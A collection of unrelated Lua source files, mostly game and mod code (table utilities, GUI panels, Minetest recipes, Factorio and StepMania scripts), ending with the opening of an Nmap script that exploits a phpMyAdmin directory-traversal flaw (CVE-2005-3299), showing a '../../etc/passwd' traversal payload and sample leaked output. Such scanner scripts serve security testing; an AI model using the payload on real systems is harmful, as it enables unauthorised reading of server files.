copy[ i ] = v
else
lookup_table = lookup_table or {}
lookup_table[ t ] = copy
if ( lookup_table[ v ] ) then
copy[ i ] = lookup_table[ v ] -- we already copied this table. reuse the copy.
else
copy[ i ] = table.Copy( v, lookup_table ) -- not yet copied. copy it.
end
end
end
return copy
end
function table.Empty( tab )
for k, v in pairs( tab ) do
tab[ k ] = nil
end
end
function table.Merge( dest, source )
for k, v in pairs( source ) do
if ( type( v ) == "table" and type( dest[ k ] ) == "table" ) then
-- don't overwrite one table with another
-- instead merge them recurisvely
table.Merge( dest[ k ], v )
else
dest[ k ] = v
end
end
return dest
end
function table.Add( dest, source )
-- At least one of them needs to be a table or this whole thing will fall on its ass
if ( type( source ) ~= "table" ) then return dest end
if ( type( dest ) ~= "table" ) then dest = {} end
for k, v in pairs( source ) do
table.insert( dest, v )
end
return dest
end
function table.ClearKeys( Table, bSaveKey )
local OutTable = {}
for k, v in pairs( Table ) do
if ( bSaveKey ) then
v.__key = k
end
table.insert( OutTable, v )
end
return OutTable
end
function table.GetKeys( tab )
local keys = {}
local id = 1
for k, v in pairs( tab ) do
keys[ id ] = k
id = id + 1
end
return keys
end
function table.Reverse( tbl )
local len = #tbl
local ret = {}
for i = len, 1, -1 do
ret[ len - i + 1 ] = tbl[ i ]
end
return ret
end
function table.IsSequential( t )
local i = 1
for key, value in pairs( t ) do
if ( not tonumber( i ) or key ~= i ) then return false end
i = i + 1
end
return true
end
local function MakeTable( t, nice, indent, done )
local str = ""
local done = done or {}
local indent = indent or 0
local idt = ""
if nice then idt = string.rep( "\t", indent ) end
local nl, tab = "", ""
if ( nice ) then nl, tab = "\n", "\t" end
local sequential = table.IsSequential( t )
for key, value in pairs( t ) do
str = str .. idt .. tab .. tab
if not sequential then
if type( key ) == "number" or type( key ) == "boolean" then
key = "[" .. tostring( key ) .. "]" .. tab .. "="
else
key = tostring( key ) .. tab .. "="
end
else
key = ""
end
if ( type( value ) == "table" and not done[ value ] ) then
done [ value ] = true
str = str .. key .. tab .. "{" .. nl .. MakeTable( value, nice, indent + 1, done )
str = str .. idt .. tab .. tab .. tab .. tab .."},".. nl
else
if ( type( value ) == "string" ) then
value = '"' .. tostring( value ) .. '"'
elseif ( type( value ) == "Vector" ) then
value = "Vector(" .. value.x .. "," .. value.y .. "," .. value.z .. ")"
elseif ( type( value ) == "Angle" ) then
value = "Angle(" .. value.pitch .. "," .. value.yaw .. "," .. value.roll .. ")"
else
value = tostring( value )
end
str = str .. key .. tab .. value .. "," .. nl
end
end
return str
end
function table.ToString( t, n, nice )
local nl, tab = "", ""
if ( nice ) then nl, tab = "\n", "\t" end
local str = ""
if ( n ) then str = n .. tab .. "=" .. tab end
return str .. "{" .. nl .. MakeTable( t, nice ) .. "}"
end
function PrintTable( t, indent, done )
done = done or {}
indent = indent or 0
local keys = table.GetKeys( t )
table.sort( keys, function( a, b )
if ( type( a ) == "number" and type( b ) == "number" ) then return a < b end
return tostring( a ) < tostring( b )
end )
for i = 1, #keys do
key = keys[ i ]
value = t[ key ]
io.write( string.rep( "\t", indent ) )
if ( type( value ) == "table" and not done[ value ] ) then
done[ value ] = true
io.write( tostring( key ) .. ":" .. "\n" )
PrintTable( value, indent + 2, done )
else
io.write( tostring( key ) .. "\t=\t" )
io.write( tostring( value ) .. "\n" )
end
end
end
util = util or {};
local Polynomial = 0xEDB88320;
local lookup = {};
for i = 0, 0xFF do
local crc = i;
for j = 0, 7 do
crc = (crc >> 1) ~ ((crc & 1) * Polynomial);
end
lookup[i] = crc;
end
local function dw(x) return x & 0xFFFFFFFF; end
function util.CRC(stuff)
stuff = tostring(stuff);
local crc = dw(~0);
for i = 1, stuff:len() do
crc = (crc >> 8) ~ lookup[((crc & 0xFF) ~ stuff:byte(i,i))];
end
return dw(~crc);
end
|
local playsession = {
{"remarkablysilly", {1418533}},
{"Llzzard", {1362110}},
{"Timfee", {194545}},
{"oakivil", {555222}},
{"brftjx", {71911}},
{"Chesmu", {907975}},
{"Firewall5000", {69792}},
{"Serennie", {957619}},
{"WorldofWarIII", {1528966}},
{"Puph", {971978}},
{"MrJSelig", {551678}},
{"Silverwolf9300", {1151349}},
{"facere", {776283}},
{"floxys", {16553}},
{"Redbeard28", {1836035}},
{"yottahawk", {1109490}},
{"Agocelt", {951823}},
{"XeMoPHOs", {11511}},
{"Delqvs", {434659}},
{"wenoc", {332512}},
{"prezmop", {723}},
{"SwaggerC4", {29369}},
{"kain5566", {40727}},
{"Nikkichu", {294373}},
{"engbizzle", {2510}},
{"Seelentherapeut", {3873}},
{"rektb16", {13062}},
{"redlabel", {1315579}},
{"p0p3", {43297}},
{"CallMeTaste", {257006}},
{"Fire3231", {446166}},
{"Hutspovian", {1366530}},
{"Eriksonn", {11592}},
{"lengxian", {16074}},
{"CrabMasher", {7496}},
{"HellAbyss", {14394}},
{"AmiloPL", {20135}},
{"WIZ4", {3797}},
{"jackazzm", {38085}},
{"GuidoCram", {248427}},
{"JinNJuice", {810318}},
{"L0771", {457107}},
{"tyssa", {768540}},
{"Nanoc-Awagode", {522168}},
{"drakferion", {1187524}},
{"2716057", {10127}},
{"thesandbox", {1125506}},
{"kblo", {14734}},
{"Zymoran", {619196}},
{"LeeFactor", {98443}},
{"Darkxii", {23065}},
{"mewmew", {857249}},
{"JuanMore", {521281}},
{"CawaEast", {361529}},
{"halfdanj", {20747}},
{"mrstone", {34764}},
{"Fighter1507", {386239}},
{"Zorky", {59793}},
{"Silver_Eagle7", {741889}},
{"kendoctor", {939845}},
{"Spocks", {398145}},
{"keysersoyze", {17458}},
{"Mr.Smiley", {910322}},
{"peterses123", {126883}},
{"dpoba", {517101}},
{"dog80", {330463}},
{"YxY", {122742}},
{"teomarx", {452123}},
{"THE_ZUCCENING", {70257}},
{"Farcear", {320906}},
{"2xRon", {265679}},
{"rjdunlap", {764253}},
{"BlkKnight", {38881}},
{"Mimiick", {233135}},
{"NairbHaon", {509498}},
{"foxdarkstar", {117349}},
{"Thymey", {1837}},
{"yulingqixiao", {32744}},
{"somestringsattached", {18091}},
{"D_Riv", {528140}},
{"hunter117x", {588233}},
{"bamboofats", {30268}},
{"pcz1642raz", {65555}},
{"Nezeken", {541580}},
{"darklight720", {7356}},
{"Iglehart", {3606}},
{"TheDizzyNinja", {103871}},
{"50fffff", {95643}},
{"KreptyK", {4898}},
{"nizzy", {13495}},
{"ZTX", {340913}},
{"mcdj23_", {6515}},
{"iamshansen", {331871}},
{"rofl_bagel_mcswaggins", {228983}},
{"Kiumajus", {70612}},
{"YoubutWorse", {74786}},
{"ServalKitty", {286579}},
{"sobitome", {235761}},
{"perfectwill", {153349}},
{"Diablo-D3", {141734}},
{"Griffin904", {3517}},
{"Leetsloane", {95422}},
{"Random", {93422}},
{"EvToxic", {2913}},
{"graehamkracker", {8294}}
}
return playsession
|
--[[
Description:
Changes a unit's current experience rating
Arguments:
Number base_pointer
Memory pointer to the current unit - cannot be in hex annotated format,
e.g 0x001EF35A = incorrect, 001EF35A = correct
Number command_argument
Ranging from 0 - 9, the experience rating to give.
String optionalHeader
Optional string that will be appended to the top of the .WALI file being created.
Can be left empty
Returns:
n/a
--]]
function SetUnitExperience(base_pointer, command_argument, optionalHeader)
base_pointer = convertCAAddressToHexPointer(base_pointer)
if type(base_pointer) ~= "nil" --[[and type(base_pointer) == "number"--]] and type(command_argument) ~= "nil" and type(command_argument) == "number" then
CreateWALIInterfaceLog(base_pointer, "SET_UNIT_EXP", math.floor(command_argument), optionalHeader)
end
end
|
/*============================================================================================================================================
Expression-Advanced Derma
==============================================================================================================================================
Name: EA_Button
Author: Oskar
============================================================================================================================================*/
local surface = surface
local math = math
local math_Clamp = math.Clamp
local gradient_up = Material( "vgui/gradient-d" )
local gradient_down = Material( "vgui/gradient-u" )
local PANEL = {}
AccessorFunc( PANEL, "m_tColor", "Color" )
AccessorFunc( PANEL, "m_tTextColor", "TextColor" )
AccessorFunc( PANEL, "m_bTextShadow", "TextShadow" )
AccessorFunc( PANEL, "m_sFont", "Font", FORCE_STRING )
AccessorFunc( PANEL, "m_bOutline", "Outlined", FORCE_BOOL )
AccessorFunc( PANEL, "m_bTextCentered", "TextCentered", FORCE_BOOL )
AccessorFunc( PANEL, "m_bFading", "Fading", FORCE_BOOL )
function PANEL:Init( )
self:SetSize( 25, 25 )
self:SetFont( "Trebuchet22" )
self:SetText( "" )
self:SetColor( Color( 100, 100, 100 ) )
self:SetTextColor( Color( 255, 255, 255 ) )
self:SetOutlined( false )
self:SetTextCentered( false )
self:SetFading( true )
end
function PANEL:SizeToContents( )
surface.SetFont( self:GetFont( ) )
local Text = self:GetText( )
local w, h = surface.GetTextSize( Text )
self:SetSize( w + 10, h )
end
function PANEL:SizeToContentsX( )
surface.SetFont( self:GetFont( ) )
local Text = self:GetText( )
local w, h = surface.GetTextSize( Text )
self:SetWide( w + 10 )
end
function PANEL:SizeToContentsY( )
surface.SetFont( self:GetFont( ) )
local Text = self:GetText( )
local w, h = surface.GetTextSize( Text )
self:SetTall( h )
end
function PANEL:Paint( w, h )
surface.SetDrawColor( self:GetColor( ) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( 200, 200, 200, 100 )
surface.SetMaterial( gradient_down )
surface.DrawTexturedRect( 0, 0, w, h )
if self:GetFading( ) then
surface.SetDrawColor( 0, 0, 0, 0 )
if self.Hovered then surface.SetDrawColor( 0, 0, 0, 50 ) end
if self.Depressed then surface.SetDrawColor( 0, 0, 0, 100 ) end
surface.DrawRect( 0, 0, w, h )
end
if self:GetOutlined( ) then
surface.SetDrawColor( 0, 0, 0, 255 )
surface.DrawOutlinedRect( 0, 0, w, h )
end
surface.SetFont( self:GetFont( ) )
local Text = self:GetText( )
local tw, th = surface.GetTextSize( Text )
local x, y = math.floor( w / 2 ) - math.floor( tw / 2 ), math.floor( h / 2 ) - math.floor( th / 2 )
if !self:GetTextCentered( ) then x = 5 end
if self:GetTextShadow( ) then
surface.SetTextColor( self:GetTextShadow( ) )
for _x = -1, 1 do
for _y = -1, 1 do
surface.SetTextPos( x + _x, y + _y )
surface.DrawText( Text )
end
end
end
surface.SetTextColor( self:GetTextColor( ) )
surface.SetTextPos( x, y )
surface.DrawText( Text )
return true
end
vgui.Register( "EA_Button", PANEL, "DButton" )
|
LSpeedComp = SimpleClass(LComponent)
function LSpeedComp:__init(type,uid,args)
self.speed = args[1]
end
function LSpeedComp:isNeedUpdate()
return self.isChange
end
function LSpeedComp:update(sp)
self.speed = sp
end
|
---@class lstg.MBGPlayer:xobject
local M = xclass()
local mbg = require('util.mbg.__init__')
local Main = require('game.mbg.Main')
function M:init(path)
self.bound = false
self.layer = LAYER_TOP + 100
assert(type(path) == 'string')
local s = cc.FileUtils:getInstance():getStringFromFile(path)
if s == '' then
print('failed to load', path)
end
local ok, ret = pcall(mbg.Parse, s)
if not ok then
print(ret)
return
end
---@type mbg.MBGData
self._data = ret
local data = self._data
self._nFrame = data.TotalFrame
--
if not Main.rand then
Main.initialize()
end
Main.loadContent()
require('game.mbg.Opening').Open(data)
require('game.mbg.Time')._play()
end
function M:frame()
if not self._data then
return
end
Main.update()
Main.draw()
end
function M:render()
if not self._data then
return
end
SetViewMode('world')
local Layer = require('game.mbg.Layer')
local num = { #Layer.LayerArray }
for _, layer in ipairs(Layer.LayerArray) do
--table.insert(num, #layer.Barrages)
table.insert(num, #layer.BatchArray)
for _, b in ipairs(layer.Barrages) do
b:draw()
end
end
--local Time = require('game.mbg.Time')
--RenderText('menu', table.concat(num, ','), 0, 0, 0.5)
--RenderText('menu', ('Play:%s'):format(Time.Playing), 0, -20, 0.5)
local la1 = Layer.LayerArray[1]
local str = ('%d'):format(#(la1.Barrages))
if la1._Tb then
str = str .. (' %.1f'):format(la1._Tb)
end
RenderText('menu', str, 0, -200, 0.5)
end
return M
|
local inspect = require 'inspect'
local readline = require 'resty.repl.readline'
local function output(result, code_len)
local value = result:value()
-- print an error if not success
if not result:is_success() then
local err = result:err()
if 'table' == type(err) then err = inspect(err) end
readline.puts('ERROR: ' .. err)
return
end
-- don't print anything if there is just <CR>
if not result:has_return_value() and 0 == code_len then return end
if _G.ngx and (_G.ngx.null == value) then
value = '<ngx.null>'
elseif 'table' == type(value) then
value = inspect(value)
end
readline.puts('=> ' .. tostring(value))
end
return { print = output }
|
object_tangible_event_perk_frn_loyalty_award_plaque_silver = object_tangible_event_perk_shared_frn_loyalty_award_plaque_silver:new {
}
ObjectTemplates:addTemplate(object_tangible_event_perk_frn_loyalty_award_plaque_silver, "object/tangible/event_perk/frn_loyalty_award_plaque_silver.iff")
|
--=========== Copyright © 2018, Planimeter, All rights reserved. ===========--
--
-- Purpose: Drop-Down List Item Group class
--
--==========================================================================--
class "gui.dropdownlistitemgroup" ( "gui.radiobuttongroup" )
local dropdownlistitemgroup = gui.dropdownlistitemgroup
function dropdownlistitemgroup:dropdownlistitemgroup( parent, name )
gui.radiobuttongroup.radiobuttongroup( self, nil, name )
self.width = parent:getWidth()
self:setUseFullscreenFramebuffer( true )
self.dropDownList = parent
self:setScheme( "Default" )
end
function dropdownlistitemgroup:addItem( item, default )
item:setParent( self )
gui.radiobuttongroup.addItem( self, item )
if ( default or #self:getItems() == 1 ) then
item:setDefault( true )
end
self:invalidateLayout()
end
function dropdownlistitemgroup:draw()
if ( self:getItems() == nil ) then
return
end
gui.panel.draw( self )
local property = "dropdownlistitem.backgroundColor"
self:drawBorders( property )
property = "dropdownlistitem.outlineColor"
self:drawBorders( property )
end
function dropdownlistitemgroup:drawBorders( property )
local lineWidth = love.window.toPixels( 1 )
local height = self:getHeight()
local width = self:getWidth()
love.graphics.setColor( self:getScheme( property ) )
love.graphics.setLineStyle( "rough" )
love.graphics.setLineWidth( lineWidth )
love.graphics.line(
0, lineWidth / 2, -- Top-left
width, lineWidth / 2 -- Top-right
)
love.graphics.line(
0, height - lineWidth / 2, -- Bottom-left
width, height - lineWidth / 2 -- Bottom-right
)
end
accessor( dropdownlistitemgroup, "dropDownList" )
function dropdownlistitemgroup:invalidateLayout()
self:updatePos()
self:setWidth( self:getDropDownList():getWidth() )
local listItems = self:getItems()
if ( listItems ) then
local y = 0
for _, listItem in ipairs( listItems ) do
listItem:setY( y )
listItem:setWidth( self:getWidth() )
y = y + listItem:getHeight()
end
self:setHeight( y )
end
end
function dropdownlistitemgroup:isVisible()
local dropDownList = self:getDropDownList()
return dropDownList:isVisible() and dropDownList:isActive()
end
function dropdownlistitemgroup:mousepressed( x, y, button, istouch )
if ( button == 1 ) then
local dropDownList = self:getDropDownList()
if ( dropDownList ~= gui._topPanel and
( not ( self.mouseover or self:isChildMousedOver() ) ) ) then
dropDownList:setActive( false )
end
end
return gui.panel.mousepressed( self, x, y, button, istouch )
end
function dropdownlistitemgroup:onValueChanged( oldValue, newValue )
local dropDownList = self:getDropDownList()
dropDownList:setActive( false )
dropDownList:onValueChanged( oldValue, newValue )
end
local x, y = 0, 0
function dropdownlistitemgroup:updatePos()
local dropDownList = self:getDropDownList()
if ( dropDownList ) then
x, y = dropDownList:localToScreen()
self:setPos( x, y + dropDownList:getHeight() )
end
end
|
local t = Def.ActorFrame{};
t[#t+1] = Def.ActorFrame {
OnCommand=function(self)
if GAMESTATE:IsExtraStage() then
self:diffuse(color("#ff5aec"));
elseif GAMESTATE:IsExtraStage2() then
self:diffuse(color("#ff5a63"));
end;
end;
-- failed song --
LoadActor("../_failed.mp3") .. {
StartTransitioningCommand=cmd(play);
};
-- DOOR OPEN TO CLOSE
LoadActor("../2013Door01.png")..{
InitCommand=cmd(x,SCREEN_CENTER_X;y,SCREEN_CENTER_Y-360;zoom,1);
OnCommand=cmd(linear,0.25;y,SCREEN_CENTER_Y);
};
LoadActor("../2013Door02.png")..{
InitCommand=cmd(x,SCREEN_CENTER_X;y,SCREEN_CENTER_Y+360;zoom,1);
OnCommand=cmd(linear,0.25;y,SCREEN_CENTER_Y);
};
};
t[#t+1] = Def.ActorFrame {
-- Failed
LoadActor("failed") .. {
InitCommand=cmd(x,SCREEN_CENTER_X;y,SCREEN_CENTER_Y);
};
};
return t;
|
local async = {}
function async.parallel(...)
return async.parallel_list({ ... })
end
local function empty(done)
done()
end
function async.parallel_list(tasks)
if #tasks == 0 then
return empty
end
return function(done)
local cnt = 0
for _, task in pairs(tasks) do
task(function()
cnt = cnt + 1
if cnt == #tasks then
done()
end
end)
end
end
end
local function serialNext(tasks, idx, done)
if idx < #tasks then
tasks[idx](function() serialNext(tasks, idx + 1, done) end)
else
tasks[idx](done)
end
end
function async.serial(...)
return async.serial_list({ ... })
end
function async.serial_list(tasks)
if #tasks == 0 then
return empty
end
return function(done)
serialNext(tasks, 1, done)
end
end
return async
|
data:extend{
{
name = "packing-tape-pickup",
type = "custom-input",
key_sequence = "J",
action = "lua",
localised_name = {"shortcut-name.packing-tape-shortcut"},
},
{
name = "packing-tape-shortcut",
type = "shortcut",
action = "lua",
associated_control_input = "packing-tape-pickup",
toggleable = true,
icon = {
filename = "__packing-tape__/graphics/icons/shortcut.png",
priority = "extra-high-no-scale",
size = 200,
scale = 1,
flags = {"icon"},
},
--[[disabled_icon = {
filename = "__packing-tape__/graphics/icons/shortcut.png",
priority = "extra-high-no-scale",
size = 32,
scale = 1,
flags = {"icon"},
},]]
}
}
|
-----------------------------------------
-- ID: 4764
-- Scroll of Aero III
-- Teaches the black magic Aero III
-----------------------------------------
function onItemCheck(target)
return target:canLearnSpell(156)
end
function onItemUse(target)
target:addSpell(156)
end
|
local module = ...
local restartTimer = tmr.create()
restartTimer:register(2000, tmr.ALARM_SINGLE, function() node.restart() end)
local function process(request)
if request.method == "GET" then
if request.query then
request.query.restart = request.query.restart or "false"
request.query.restore = request.query.restore or "false"
end
if request.query.restart == "true" then
restartTimer:start()
end
if request.query.restore == "true" then
node.restore()
restartTimer:start()
end
return ""
end
if request.contentType == "application/json" then
if request.method == "PUT" then
local setVar = require("variables_set")
setVar("settings", require("variables_build")({
token = request.body.token,
apiUrl = request.body.apiUrl,
blink = request.body.blink,
discovery = request.body.discovery
}))
setVar("sensors", require("variables_build")(request.body.sensors))
setVar("actuators", require("variables_build")(request.body.actuators))
setVar("dht_sensors", require("variables_build")(request.body.dht_sensors))
print("Heap:", node.heap(), 'Settings updated! Restarting in 5 seconds...')
restartTimer:start()
return ""
end
end
end
return function(request)
package.loaded[module] = nil
module = nil
return process(request)
end
|
local Maze = require(script.Maze)
local Draw = require(script.Draw)
return function(count, size, exitCount)
local maze = Maze:new(count)
local cells = maze:generate()
local draw = Draw:new(size)
draw:draw(cells, exitCount)
end
|
-- Crafts
minetest.register_craft({
output = "mcl_lighting:light_rod 4",
recipe = {
{"mcl_mobitems:blaze_rod"},
{"mcl_core:iron_ingot"},
},
})
minetest.register_craft({
output = "mcl_lighting:blue_lantern_f",
recipe = {
{"", "mcl_core:iron_nugget", ""},
{"mcl_core:glass_blue", "mcl_torches:torch", "mcl_core:glass_blue"},
{"mcl_core:iron_nugget", "mcl_core:iron_nugget", "mcl_core:iron_nugget"}
}
})
minetest.register_craft({
output = "mcl_lighting:lantern_f",
recipe = {
{"", "mcl_core:iron_nugget", ""},
{"mcl_core:glass_orange", "mcl_torches:torch", "mcl_core:glass_orange"},
{"mcl_core:iron_nugget", "mcl_core:iron_nugget", "mcl_core:iron_nugget"}
}
})
minetest.register_craft({
output = 'mcl_lighting:streetpost_d',
recipe = {
{'mcl_core:iron_ingot'},
{'mcl_core:iron_ingot'},
{'mcl_core:iron_ingot'},
}
})
minetest.register_craft({
output = 'mcl_lighting:streetpost_l',
recipe = {
{'mcl_core:iron_ingot'},
{'mcl_core:iron_nugget'},
{'mcl_core:iron_ingot'},
}
})
minetest.register_craft({
output = "mcl_lighting:barlight_c 4",
recipe = {
{"mcl_core:iron_ingot", "mcl_nether:glowstone_dust", "mcl_core:iron_ingot"},
{"mcl_core:gold_ingot", "mcl_core:glass", "mcl_core:gold_ingot"}
}
})
minetest.register_craft({
output = "mcl_lighting:barlight_c 2",
type = "shapeless",
recipe = {"mcl_lighting:barlight_s"}
})
minetest.register_craft({
output = "mcl_lighting:barlight_s",
type = "shapeless",
recipe = {"mcl_lighting:barlight_c", "mcl_lighting:barlight_c"}
})
minetest.register_craft({
output = "mcl_lighting:glowlight_modern",
recipe = {
{"mcl_core:iron_ingot", "mcl_torches:torch", "mcl_core:iron_ingot"},
{"", "mcl_core:glass", ""}
}
})
minetest.register_craft({
output = "mcl_lighting:modern_walllamp",
recipe = {
{"mcl_dye:white", "mcl_core:glass", ""},
{"mcl_core:glass", "mcl_nether:glowstone_dust", "mcl_core:iron_ingot"},
{"", "mcl_dye:grey", "mcl_core:iron_ingot"}
}
})
minetest.register_craft({
output = "mcl_lighting:tablelamp_d",
recipe = {
{"mcl_wool:grey", "mcl_torches:torch", "mcl_wool:grey"},
{"", "mcl_core:iron_ingot", ""},
{"", "mcl_core:iron_ingot", ""}
}
})
minetest.register_craft({
output = "mcl_lighting:tablelamp_l",
recipe = {
{"mcl_wool:white", "mcl_torches:torch", "mcl_wool:white"},
{"", "mcl_core:iron_ingot", ""},
{"", "mcl_core:iron_ingot", ""}
}
})
|
local _floor, _ceil = math.floor, math.ceil
local _sf = string.format
local simpleclass = require "simpleclass"
local noop = simpleclass.noop
local class = simpleclass.class
----- MODULE FUNCTION START -----
return function(Game)
---------------------------------
local settings = Game.settings
local Pane = Game.gui.Pane
local Button = Game.gui.Button
local Slider = Game.gui.Slider
local Cycler = Game.gui.Cycler
local Typer = Game.gui.Typer
local States = Game.States
local Classes = Game.stateClasses
local setState = Game.setState
-- Main Menu State
local Menu = class("MainMenu", Classes.Base)
function Menu:updateLayout()
local sw, sh = Game.sw, Game.sh
local items = self.pane.items
self.logo = settings.theme.graphics.logo
local logow, logoh = self.logo:getDimensions()
self.logox = _floor(400 * sw - logow / 2)
self.logoy = _floor(25 * sh)
local font = Game.selectFont(math.min(sw, sh), "huge")
local fh = _floor(font:getHeight())
local advance = fh + _floor(5 * sh)
local x, y = _floor(250 * sw), self.logoy + logoh + advance
local limit = _floor(300 * sw)
items.newgameButton:setFont(font):setBox(x, y, limit, fh):refresh(); y = y + advance
items.continueButton:setFont(font):setBox(x, y, limit, fh):refresh(); y = y + advance
items.optionsButton:setFont(font):setBox(x, y, limit, fh):refresh()
y = _floor(600 * sh) - 2 * advance
--items.restartButton:setFont(font):setBox(x, y, limit, fh):refresh();
y = y + advance
items.quitButton:setFont(font):setBox(x, y, limit, fh):refresh()
end
function Menu:init()
Classes.Base.init(self)
local pane = Pane()
local newgameButton = pane:add("newgameButton", Button("New Game"):setAlign("center"))
newgameButton.onclick = function(uibutton)
States.MainGame:newGame()
setState("MainGame")
end
local continueButton = pane:add("continueButton", Button("Continue"):setAlign("center"))
continueButton.onclick = function(uibutton)
if States.MainGame.time then -- if there is an ongoing game
setState("MainGame")
end
end
continueButton:setEnabled(false)
local optionsButton = pane:add("optionsButton", Button("Options"):setAlign("center"))
optionsButton.onclick = function(uibutton)
setState("OptionsMenu")
end
--local restartButton = pane:add("continueButton", Button("Restart"):setAlign("center"))
--restartButton.onclick = function()
-- Game.quit("restart")
--end
local quitButton = Button("Quit"):setAlign("center")
quitButton.onclick = function()
Game.quit()
end
if not Game.web then
pane:add("quitButton", quitButton)
end
self.pane = pane
self:updateLayout()
return self
end
function Menu:draw()
local sw, sh = Game.sw, Game.sh
love.graphics.setColor(settings.theme.colors.main)
love.graphics.draw(self.logo, self.logox, self.logoy)
self.pane:draw()
end
function Menu:mousemoved(x,y,dx,dy)
self.pane:mousemoved(x,y,dx,dy)
end
function Menu:mousepressed(x,y,button)
self.pane:mousepressed(x,y,button)
end
function Menu:mousereleased(x,y,button)
self.pane:mousereleased(x,y,button)
end
function Menu:textinput(text)
self.pane:textinput(text)
end
function Menu:keypressed(key, scancode)
self.pane:keypressed(key, scancode)
end
Classes[Menu.name] = Menu
----- MODULE FUNCTION END -----
end --return function(Game)
---------------------------------
|
local __procedures = {}
local procedure = {
__callbacks = {},
__events = {},
__doEventCheck = true,
running = false,
}
function new(port, updateRate)
local internalID = 0
repeat internalID = internalID + 1 until (__procedures[internalID] == nil)
__procedures[internalID] = true
local internalPort = port
if internalPort == nil then internalPort = (os.getComputerID() + 1500) end
local internalUpdateRate = updateRate
if internalUpdateRate == nil then internalUpdateRate = 1 end
local data = setmetatable({}, {__index = procedure})
data.__internalID = internalID
data.__internalPort = internalPort
data.__internalUpdateRate = internalUpdateRate
return data
end
|
function love.conf(t)
t.window.width = 800 -- t.screen.width in 0.8.0 and earlier
t.window.height = 500 -- t.screen.height in 0.8.0 and earlier
t.window.borderless = false
t.window.resizable = true
t.window.minwidth = 400
t.window.minheight = 300
t.modules.physics = false
t.modules.thread = false
t.console = true
end
|
local MakePlayerCharacter = require "prefabs/player_common"
local assets =
{
--Asset("ANIM", "anim/wendy.zip"),
Asset("ANIM", "anim/wes.zip"),
Asset("ANIM", "anim/player_mime.zip"),
}
local prefabs = { "balloons_empty" }
local start_inv =
{
"balloons_empty",
}
local fn = function(inst)
inst.components.health:SetMaxHealth(TUNING.WILSON_HEALTH * .75 )
inst.components.hunger:SetMax(TUNING.WILSON_HUNGER * .75 )
inst.components.combat.damagemultiplier = .75
inst.components.hunger:SetRate(TUNING.WILSON_HUNGER_RATE*1.25)
inst.components.sanity:SetMax(TUNING.WILSON_SANITY*.75)
inst.components.inventory:GuaranteeItems(start_inv)
inst.components.talker.special_speech = true
end
return MakePlayerCharacter("wes", prefabs, assets, fn, start_inv)
|
--[[
TestName.lua
exported by excel2lua.py
from file:TestName.xlsx
--]]
local TestName = {
[1] = {
Id = 1,
name = '剑客',
attributes = {{2001,1,10},{3001,1,10}},
Attack = 1,
},
[2] = {
Id = 2,
name = '法师',
attributes = {{2001,1,10},{3001,1,10}},
Attack = 2,
},
[3] = {
Id = 3,
name = '圣骑',
attributes = {{2001,1,10}},
Attack = 3,
},
}
return TestName
|
local persist
local defaultMt = {__index = function(self,k) self[k] = {} return self[k] end}
local function CollectData()
persist.distances = {}
for name, prototype in pairs(game.entity_prototypes) do
persist.distances[name] = prototype.type == "underground-belt" and prototype.max_underground_distance or nil
end
end
script.on_init(function()
persist = global
CollectData()
persist.zipped = setmetatable({}, defaultMt)
end)
script.on_load(function()
persist = global
setmetatable(persist.zipped, defaultMt)
end)
script.on_configuration_changed(function()
CollectData()
end)
script.on_event("belt-zip-select", function(event)
local player = game.players[event.player_index]
local stack = player.cursor_stack
if stack.valid_for_read then
if stack.name == "belt-zipper" then --remove belt zipper
stack.clear()
else
if player.clean_cursor() then
stack.set_stack "belt-zipper"
end
end
else
stack.set_stack "belt-zipper"
end
end)
script.on_event(defines.events.on_player_dropped_item, function(event)
local entity = event.entity
if entity.stack.name == "belt-zipper" then
entity.destroy()
end
end)
script.on_event(defines.events.on_player_selected_area, function(event)
local entities, toExamine = event.entities, {}
for _, entity in pairs(entities) do
if entity.type == "underground-belt" then
toExamine[entity] = persist.distances[entity.name]
end
end
end)
script.on_event(defines.events.on_player_alt_selected_area, function(event)
-- unzip
end)
|
local random = require'ottery'
local randomdata = {}
local dupes = 0
local num = 102400
local length = 1024
for i = 1, num do
local data = random.hexstring(length)
if randomdata[data] then
dupes = dupes + 1
end
randomdata[data] = true
end
print(("We generated %d hex strings with a length of %d"):format(num, length))
if dupes > 0 then
print("Duplicates was found :(")
else
print("We're completely random!")
end
|
-----------------------------------
-- Area: Meriphataud Mountains
-- Mob: Hill Lizard
-----------------------------------
require("scripts/globals/regimes")
-----------------------------------
function onMobDeath(mob, player, isKiller)
tpz.regime.checkRegime(player, mob, 37, 1, tpz.regime.type.FIELDS)
tpz.regime.checkRegime(player, mob, 38, 2, tpz.regime.type.FIELDS)
end
|
local rand = require "rand"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local http = require "http"
local io = require "io"
local vulns = require "vulns"
description = [[
Exploits a directory traversal vulnerability in phpMyAdmin 2.6.4-pl1 (and
possibly other versions) to retrieve remote files on the web server.
Reference:
* http://www.exploit-db.com/exploits/1244/
]]
---
-- @usage
-- nmap -p80 --script http-phpmyadmin-dir-traversal --script-args="dir='/pma/',file='../../../../../../../../etc/passwd',outfile='passwd.txt'" <host/ip>
-- nmap -p80 --script http-phpmyadmin-dir-traversal <host/ip>
--
-- @args http-phpmyadmin-dir-traversal.file Remote file to retrieve. Default: <code>../../../../../etc/passwd</code>
-- @args http-phpmyadmin-dir-traversal.outfile Output file
-- @args http-phpmyadmin-dir-traversal.dir Basepath to the services page. Default: <code>/phpMyAdmin-2.6.4-pl1/</code>
--
-- @output
-- PORT STATE SERVICE
-- 80/tcp open http
-- | http-phpmyadmin-dir-traversal:
-- | VULNERABLE:
-- | phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2005-3299
-- | Description:
-- | PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
-- |
-- | Disclosure date: 2005-10-nil
-- | Extra information:
-- | ../../../../../../../../etc/passwd :
-- | root:x:0:0:root:/root:/bin/bash
-- | daemon:x:1:1:daemon:/usr/sbin:/bin/sh
-- | bin:x:2:2:bin:/bin:/bin/sh
-- | sys:x:3:3:sys:/dev:/bin/sh
-- | sync:x:4:65534:sync:/bin:/bin/sync
-- | games:x:5:60:games:/usr/games:/bin/sh
-- | man:x:6:12:man:/var/cache/man:/bin/sh
-- | lp:x:7:7:lp:/var/spool/lpd:/bin/sh
-- | mail:x:8:8:mail:/var/mail:/bin/sh
-- | news:x:9:9:news:/var/spool/news:/bin/sh
